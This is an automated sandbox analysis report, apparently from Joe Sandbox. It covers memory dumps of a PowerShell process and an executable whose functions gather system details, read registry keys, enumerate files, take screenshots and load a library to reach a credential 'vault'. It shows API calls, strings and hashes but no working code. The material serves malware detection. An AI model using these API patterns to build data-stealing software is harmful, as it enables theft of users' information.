$kq, xrefs: 071A2166
tPkq, xrefs: 071A1FDF

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq$4'kq$pigh$tPkq$tPkq$$kq$$kq
API String ID: 0-697042801
Opcode ID: 86ac25294aa3318d9d6edd72fcd28d86cbb9a9b3338c2dc150213cbbe703f52a
Instruction ID: d850deb0d29d7585d66b99213db9532b483063d80c3041b9bdc15bc0ed3605c7
Opcode Fuzzy Hash: 86ac25294aa3318d9d6edd72fcd28d86cbb9a9b3338c2dc150213cbbe703f52a
Instruction Fuzzy Hash: 98E15B79B0434AAFC7268B6894102A6BFF6BFD6210F1980BBC545CB2D6DB31C849C791

Function 071A0FB8 Relevance: 11.4, Strings: 9, Instructions: 184COMMON

Download Yara Rule

Strings

$kq, xrefs: 071A1229
$kq, xrefs: 071A1044
$kq, xrefs: 071A1253
tPkq, xrefs: 071A1127
fpq, xrefs: 071A10A2
`Qkq, xrefs: 071A1153
$kq, xrefs: 071A1081
`Qkq, xrefs: 071A10ED
$kq, xrefs: 071A1065

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: fpq$`Qkq$`Qkq$tPkq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-3516476561
Opcode ID: e835d03539e898b185d0011ae802cc6f873ec30cf34923d35b7e03590e87e542
Instruction ID: 2d2ee5a5f8981984acfec261eeb61bd4b932bf956e15bf81dd017e4034c57343
Opcode Fuzzy Hash: e835d03539e898b185d0011ae802cc6f873ec30cf34923d35b7e03590e87e542
Instruction Fuzzy Hash: 84619FB8A1420EFFDF2ACE54C644BAA77B2BF45311F258066E8059B2D0C775DD80DBA1

Function 071A3928 Relevance: 10.3, Strings: 8, Instructions: 333COMMON

Download Yara Rule

Strings

4'kq, xrefs: 071A3B35
$kq, xrefs: 071A396C
$kq, xrefs: 071A393A
tPkq, xrefs: 071A39B1
$kq, xrefs: 071A3960
$kq, xrefs: 071A3C0E
tPkq, xrefs: 071A39A5
4'kq, xrefs: 071A3B29

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$tPkq$tPkq$$kq$$kq$$kq$$kq
API String ID: 0-1263425659
Opcode ID: 46b156956e3138787ccf965ad2feecda32c6b81f4daabcfd0462aa92ede89d3b
Instruction ID: d3599f2eea5f4a7f2798748a5516840f15efad4aae3c1ce2ce6901f81ba22500
Opcode Fuzzy Hash: 46b156956e3138787ccf965ad2feecda32c6b81f4daabcfd0462aa92ede89d3b
Instruction Fuzzy Hash: 42B178B9304355AFC7269A799800766BFE6AFC6720F2480ABD455CB3D2CB31CD46C761

Function 071A0286 Relevance: 7.6, Strings: 6, Instructions: 86COMMON

Download Yara Rule

Strings

$kq, xrefs: 071A035E
$kq, xrefs: 071A0352
4'kq, xrefs: 071A0373
4'kq, xrefs: 071A037F
4'kq, xrefs: 071A02F7
4'kq, xrefs: 071A02EB

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq$4'kq$$kq$$kq
API String ID: 0-374227784
Opcode ID: e556a7a552b8db1ed62ac56195cd3212adf61adffef20f41044fc251170eba4f
Instruction ID: 39dd056c09bdce63b92529e7c0a15b75ca8bd234d372e69a44b5bb7bf47c0152
Opcode Fuzzy Hash: e556a7a552b8db1ed62ac56195cd3212adf61adffef20f41044fc251170eba4f
Instruction Fuzzy Hash: 2E214BB6B083465FC33A552C6420276AFE76FC626073D40ABC441CB3D6EB29CC068396

Function 00B77240 Relevance: 6.5, Strings: 5, Instructions: 275COMMON

Download Yara Rule

Strings

8, xrefs: 00B77A08
`lq, xrefs: 00B77C44
`lq, xrefs: 00B77CC2
`lq, xrefs: 00B77B23
`lq, xrefs: 00B77BA2

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID: 8$`lq$`lq$`lq$`lq
API String ID: 0-1430259753
Opcode ID: 1a643f63afd0e237b9aa78ad09a0afdfa3486fe66375693013b641ec4968e7aa
Instruction ID: 8399bc8b17aa1634a26486611ed18bfc1a73fa1cdac6acb387836b93c82c00b5
Opcode Fuzzy Hash: 1a643f63afd0e237b9aa78ad09a0afdfa3486fe66375693013b641ec4968e7aa
Instruction Fuzzy Hash: B8C1E774E002099FDB55DFA9D980A9DFBF2FF88300F10866AD819AB355DB30A945CF90

Function 071A3678 Relevance: 6.4, Strings: 5, Instructions: 187COMMON

Download Yara Rule

Strings

4'kq, xrefs: 071A372E
$kq, xrefs: 071A3836
4'kq, xrefs: 071A3722
$kq, xrefs: 071A37FF
$kq, xrefs: 071A382A

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$$kq$$kq$$kq
API String ID: 0-1023320533
Opcode ID: c04a3e93b6411ffb3d838ca7a68967363403e3bece892464c5937249eee30fc5
Instruction ID: b1bc6834c43776b0ec6661733c2d10024a67ddb83b618712ad28728274ec0507
Opcode Fuzzy Hash: c04a3e93b6411ffb3d838ca7a68967363403e3bece892464c5937249eee30fc5
Instruction Fuzzy Hash: CD516CF9704346AFD72A5BA98800367BFB6AFC2620F24806BD425CB3D1DB35C446C791

Function 00B77A30 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`lq, xrefs: 00B77C44
`lq, xrefs: 00B77CC2
`lq, xrefs: 00B77B23
`lq, xrefs: 00B77BA2

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID: `lq$`lq$`lq$`lq
API String ID: 0-2331155588
Opcode ID: 3997404ba7751d406a7f350712623d38e31878f5b4a5f2e4b6210e8f4b0dcf3f
Instruction ID: a4ab0dd55394934c5656143242eeeefe011037468ae1b340701a3f9d98823724
Opcode Fuzzy Hash: 3997404ba7751d406a7f350712623d38e31878f5b4a5f2e4b6210e8f4b0dcf3f
Instruction Fuzzy Hash: 40B18674E002099FCB55DFA9D990A9DFBF2FF88300F108629E819AB355DB71A945CF90

Function 071A577A Relevance: 5.1, Strings: 4, Instructions: 109COMMON

Download Yara Rule

Strings

$kq, xrefs: 071A57AA
$kq, xrefs: 071A57C6
$kq, xrefs: 071A5800
$kq, xrefs: 071A57F4

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq
API String ID: 0-2881790790
Opcode ID: 1476cf9d88bdd180912c950b5cbb9160ca95c32bc17eb104b5d136439caebd90
Instruction ID: 90b218839758918902d0b80be4d949c0ff5392e8b33f370d554aff7356256007
Opcode Fuzzy Hash: 1476cf9d88bdd180912c950b5cbb9160ca95c32bc17eb104b5d136439caebd90
Instruction Fuzzy Hash: F8317CB630C381AFD72696768C017667FE79FC2310F69449BD544DB2C3D62AD919C321

Function 071A5798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$kq, xrefs: 071A57AA
$kq, xrefs: 071A57C6
$kq, xrefs: 071A5800
$kq, xrefs: 071A57F4

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq
API String ID: 0-2881790790
Opcode ID: 3d5646bb788dc98b1a44ee3e233e2802065bda5c8a082f85d7afb2bb4b8d1f7a
Instruction ID: 9625348b9e81aa8b8fa6c051b4d99e2ed1ef89c85efece7e5a19859699d219f0
Opcode Fuzzy Hash: 3d5646bb788dc98b1a44ee3e233e2802065bda5c8a082f85d7afb2bb4b8d1f7a
Instruction Fuzzy Hash: 24218BB9308306ABDB38656BCC0173BB7DB6BC0314F64842AE505DB3C5DE39D8518361

Analysis Process: io12j1es.2tm.exePID: 7540, Parent PID: 6676COMMON

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.8%
Total number of Nodes:	1721
Total number of Limit Nodes:	66

Executed Functions

Function 00007FF6F1DD8330 Relevance: 50.4, APIs: 19, Strings: 9, Instructions: 1376
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6F1DD6540: EnumDisplayDevicesW.USER32 ref: 00007FF6F1DD6657
Part of subcall function 00007FF6F1DD6540: EnumDisplayDevicesW.USER32 ref: 00007FF6F1DD66FB

Part of subcall function 00007FF6F1DD6460: RegGetValueA.KERNEL32 ref: 00007FF6F1DD64C9

Part of subcall function 00007FF6F1DD6150: GetUserNameW.ADVAPI32 ref: 00007FF6F1DD6195

Part of subcall function 00007FF6F1DD61F0: GetComputerNameW.KERNEL32 ref: 00007FF6F1DD6235

Part of subcall function 00007FF6F1D91900: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D919D4

Part of subcall function 00007FF6F1D93FF0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D9447D

GlobalMemoryStatusEx.KERNEL32 ref: 00007FF6F1DD87BC
wcsftime.LIBCMT ref: 00007FF6F1DD8FB2
GetModuleFileNameA.KERNEL32 ref: 00007FF6F1DD9146
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B09
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B0F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B15
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B1B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B21
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B27
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B2D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B33
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B39
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B3F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B45
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B4B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B51
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B57
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B5D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1DD9B63

Strings

user_name, xrefs: 00007FF6F1DD846F
ram, xrefs: 00007FF6F1DD889B
time, xrefs: 00007FF6F1DD9081
computer_name, xrefs: 00007FF6F1DD8994
timezone, xrefs: 00007FF6F1DD9454
%d-%m-%Y, %H:%M:%S, xrefs: 00007FF6F1DD8F9F
cpu, xrefs: 00007FF6F1DD8658
system, xrefs: 00007FF6F1DD8424, 00007FF6F1DD8513, 00007FF6F1DD8609, 00007FF6F1DD8703, 00007FF6F1DD884B, 00007FF6F1DD8945, 00007FF6F1DD8A38, 00007FF6F1DD8BBF, 00007FF6F1DD8DB0, 00007FF6F1DD9031, 00007FF6F1DD91F4, 00007FF6F1DD940E, 00007FF6F1DD95AD, 00007FF6F1DD9757, 00007FF6F1DD981D
gpu, xrefs: 00007FF6F1DD8562

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Name$DevicesDisplayEnum$ComputerFileGlobalMemoryModuleStatusUserValuewcsftime
String ID: %d-%m-%Y, %H:%M:%S$computer_name$cpu$gpu$ram$system$time$timezone$user_name
API String ID: 4122120932-1182675529
Opcode ID: de373a628c70196d38e0a230efad4b6935ad6b5f4b2a48b3459ff8ff9c5d3fed
Instruction ID: 45129ffbe7eee4db623ffa7e56d987a4fb7c8384f2e0d42c99b99fec0e07223b
Opcode Fuzzy Hash: de373a628c70196d38e0a230efad4b6935ad6b5f4b2a48b3459ff8ff9c5d3fed
Instruction Fuzzy Hash: 79E27033A18BC595D721CF25D8902ED77A1FB89798F409325EAAD47BA9EF38D244C700

Function 00007FF6F1D84B70 Relevance: 46.8, APIs: 21, Strings: 5, Instructions: 1343registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1D8509B
RegQueryValueExA.ADVAPI32 ref: 00007FF6F1D850E9
RegCloseKey.ADVAPI32 ref: 00007FF6F1D85186
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86384
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863A5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863AB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863B1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863B7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863BD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863C3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D863F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86420
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86426
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8642C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8644E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86454
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8645A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86466
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D86487

Strings

status, xrefs: 00007FF6F1D86403, 00007FF6F1D86413
exists, xrefs: 00007FF6F1D86398, 00007FF6F1D863E3, 00007FF6F1D8647A
content, xrefs: 00007FF6F1D855A3, 00007FF6F1D85BF6, 00007FF6F1D86120
directory_iterator::directory_iterator, xrefs: 00007FF6F1D86441
filename, xrefs: 00007FF6F1D8549A, 00007FF6F1D85A28, 00007FF6F1D85F59

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
String ID: content$directory_iterator::directory_iterator$exists$filename$status
API String ID: 1254564140-3429737954
Opcode ID: 1546580674866f4c82a63006c8ab545a023558855833896973cb62ed33a32a99
Instruction ID: 33b0860d4ee2b8d0fdeb6099f8e6bd2a46ddd9efe9c434224126fda0810e5dd9
Opcode Fuzzy Hash: 1546580674866f4c82a63006c8ab545a023558855833896973cb62ed33a32a99
Instruction Fuzzy Hash: 9AE26172A18BC58AEB218F24D8903ED7375FB85798F505325EA6C4BAD9EF78D644C300

Function 00007FF6F1DB6350 Relevance: 46.6, APIs: 20, Strings: 6, Instructions: 1136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

status, xrefs: 00007FF6F1DBA600, 00007FF6F1DBA6D9, 00007FF6F1DBA790, 00007FF6F1DBA863, 00007FF6F1DBA885, 00007FF6F1DBA89B, 00007FF6F1DBA8BD
exists, xrefs: 00007FF6F1DBA5DE, 00007FF6F1DBA6AC, 00007FF6F1DBA76E, 00007FF6F1DBA83C
recursive_directory_iterator::recursive_directory_iterator, xrefs: 00007FF6F1DBA68F, 00007FF6F1DBA6C9, 00007FF6F1DBA81F
recursive_directory_iterator::operator++, xrefs: 00007FF6F1DBA678, 00007FF6F1DBA745, 00007FF6F1DBA808
cannot use push_back() with , xrefs: 00007FF6F1DBA625, 00007FF6F1DBA6FE, 00007FF6F1DBA7B5
directory_iterator::directory_iterator, xrefs: 00007FF6F1DBA853, 00007FF6F1DBA875, 00007FF6F1DBA8AD

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: __std_fs_convert_wide_to_narrow$__std_fs_code_page
String ID: cannot use push_back() with $directory_iterator::directory_iterator$exists$recursive_directory_iterator::operator++$recursive_directory_iterator::recursive_directory_iterator$status
API String ID: 3645842244-1862120484
Opcode ID: de5a621f2f067d1123de94e788919e3c44fbe91b6b887da37095cf4d544f4034
Instruction ID: 95c14edc7cbd31f1221faf3afb573f4dd9dbef066b1823c2f15052762331f2e4
Opcode Fuzzy Hash: de5a621f2f067d1123de94e788919e3c44fbe91b6b887da37095cf4d544f4034
Instruction Fuzzy Hash: 7AD2247291DBC985D7708B19F4812AAB3A0FB99784F405325EADD93B99EF3CD254CB00

Function 00007FF6F1DD5B70 Relevance: 45.7, APIs: 25, Strings: 1, Instructions: 225
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00007FF6F1DD5BB1
GetSystemMetrics.USER32 ref: 00007FF6F1DD5BBF
GetSystemMetrics.USER32 ref: 00007FF6F1DD5BCD
GetSystemMetrics.USER32 ref: 00007FF6F1DD5BDB
GetDC.USER32 ref: 00007FF6F1DD5BE5
GetDeviceCaps.GDI32 ref: 00007FF6F1DD5BFB
GetDeviceCaps.GDI32 ref: 00007FF6F1DD5C0B
CreateCompatibleDC.GDI32 ref: 00007FF6F1DD5C18
CreateCompatibleBitmap.GDI32 ref: 00007FF6F1DD5C30
SelectObject.GDI32 ref: 00007FF6F1DD5C46
BitBlt.GDI32 ref: 00007FF6F1DD5C7C
SHCreateMemStream.SHLWAPI ref: 00007FF6F1DD5CB2
SelectObject.GDI32 ref: 00007FF6F1DD5CC8
DeleteDC.GDI32 ref: 00007FF6F1DD5CD1
ReleaseDC.USER32 ref: 00007FF6F1DD5CDC
DeleteObject.GDI32 ref: 00007FF6F1DD5CE5
EnterCriticalSection.KERNEL32 ref: 00007FF6F1DD5DDC
LeaveCriticalSection.KERNEL32 ref: 00007FF6F1DD5DEE
IStream_Size.SHLWAPI ref: 00007FF6F1DD5E25
IStream_Reset.SHLWAPI ref: 00007FF6F1DD5E36
IStream_Read.SHLWAPI ref: 00007FF6F1DD5EBB
SelectObject.GDI32 ref: 00007FF6F1DD5F15
DeleteDC.GDI32 ref: 00007FF6F1DD5F1E
ReleaseDC.USER32 ref: 00007FF6F1DD5F2B
DeleteObject.GDI32 ref: 00007FF6F1DD5F34

Strings

, xrefs: 00007FF6F1DD5C51

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: Object$DeleteMetricsSystem$CreateSelectStream_$CapsCompatibleCriticalDeviceReleaseSection$BitmapEnterLeaveReadResetSizeStream
String ID:
API String ID: 3214587331-3916222277
Opcode ID: 312cd4efce3d3f241b15748fa518ee44aaca86f0cd571cabb29f5cbe721ad1f9
Instruction ID: 2d7cba36d9106442e90aea6b295cdd69a0a29450ab69abdf96071ae96ce109dc
Opcode Fuzzy Hash: 312cd4efce3d3f241b15748fa518ee44aaca86f0cd571cabb29f5cbe721ad1f9
Instruction Fuzzy Hash: 5EB15672A08BC186E760DF21E8547AAB7A5FB89BD0F405535DA9E83795EF3CD044CB40

Function 00007FF6F1D8D570 Relevance: 35.9, APIs: 17, Strings: 3, Instructions: 862
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6F1D8D65C
GetProcAddress.KERNEL32 ref: 00007FF6F1D8D767
GetProcAddress.KERNEL32 ref: 00007FF6F1D8D829
GetProcAddress.KERNEL32 ref: 00007FF6F1D8D8A3
GetProcAddress.KERNEL32 ref: 00007FF6F1D8D925
GetProcAddress.KERNEL32 ref: 00007FF6F1D8D99F
GetProcAddress.KERNEL32 ref: 00007FF6F1D8DA23
FreeLibrary.KERNEL32 ref: 00007FF6F1D8E551
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E587
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5DB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5E1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5E7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5ED
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5F3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5F9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E5FF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D8E605

Strings

vault, xrefs: 00007FF6F1D8E3B3
cannot use push_back() with , xrefs: 00007FF6F1D8E59F
system, xrefs: 00007FF6F1D8E35D

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AddressProc$Library$FreeLoad
String ID: cannot use push_back() with $system$vault
API String ID: 2463004387-1741236777
Opcode ID: 732ce1a3913aa3f176137871251050bb418a6a7d07714671249ce45bbf4a0681
Instruction ID: 1e59a9550c694a66e07a1503dcbb21c0bb92f0898c3aeb8d8545666b8b49b249
Opcode Fuzzy Hash: 732ce1a3913aa3f176137871251050bb418a6a7d07714671249ce45bbf4a0681
Instruction Fuzzy Hash: 86926132609BC58ADB608F25E8943ED73B4F749798F504225DB9C8BB99EF78D644C700

Function 00007FF6F1D82CA0 Relevance: 32.3, APIs: 13, Strings: 5, Instructions: 789
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32 ref: 00007FF6F1D83022
RegQueryValueExA.ADVAPI32 ref: 00007FF6F1D8306A
RegCloseKey.ADVAPI32 ref: 00007FF6F1D830F7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D839B0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D839CB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D839D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D839EA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D839F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D83A06
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D83A0C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D83A12
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D83A1E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6F1D83A24

Strings

status, xrefs: 00007FF6F1D839F9
exists, xrefs: 00007FF6F1D839BE
content, xrefs: 00007FF6F1D83694
directory_iterator::directory_iterator, xrefs: 00007FF6F1D839DD
filename, xrefs: 00007FF6F1D83500

Memory Dump Source

Source File: 0000000C.00000002.2110477968.00007FF6F1D51000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6F1D50000, based on PE: true

Associated: 0000000C.00000002.2110450687.00007FF6F1D50000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110582934.00007FF6F1E25000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110661168.00007FF6F1E80000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110693908.00007FF6F1E82000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110736328.00007FF6F1E85000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2110797007.00007FF6F1E88000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6f1d50000_io12j1es.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseOpenQueryValue
